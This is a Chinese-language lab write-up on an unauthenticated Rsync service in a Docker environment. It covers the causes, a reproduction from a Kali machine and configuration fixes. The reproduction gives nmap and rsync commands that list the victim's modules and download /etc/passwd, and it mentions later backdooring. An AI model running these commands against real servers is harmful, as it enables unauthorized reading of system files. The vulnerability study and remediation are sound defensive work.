一.Rsync简介:
Rsync是一款远程同步功能的软件,同步的同时可以保持源文件的权限、时间、软硬连接等,常被用于文件的同步、分发等。支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
二.漏洞成因:
1./etc/rsyncd.conf 未配置账号、密码以及目录权限等
2./Rsync启动的时候没有指定--address参数,默认内外网都可以连接
3.没有使用iptable或host allow等限制可连接rsync服务器的来源ip
三.漏洞复现
在docker下进行漏洞的复现:
存在rsync漏洞的ubuntu服务器:192.168.4.128
攻击机(kali):192.168.4.157
1.开启环境:
#sudo docker-compose up -d //开启该漏洞环境
#sudo docker ps //查看docker运行的进程,查看环境是否运行成功
2 .进行信息收集
使用nmap对此服务器进行端口扫描
#nmap -p 873 192.168.4.128
3.Rsync未授权访问利用
#rsync rsync://{target_ip}/
查看模块名列表:
rsync rsync://192.168.4.128:873/
查看src模块:
rsync rsync://192.168.4.128:873/src
可以看到受害机器的目录被列举出来了
下载受害机的文件
rsync -av rsync://192.168.4.128/src/etc/passwd ./
查看下载下来的passwd文件
后续可以进行后渗透,留后门等等操作
四.修复方法
1./etc/rsyncd.conf配置auth users及secrets file,为rsync设置复杂的密码;
2.rsync启动的时候用--address参数监听内网ip;
3.使用iptables或配置文件中的hosts allow限制可连接rsync的ip地址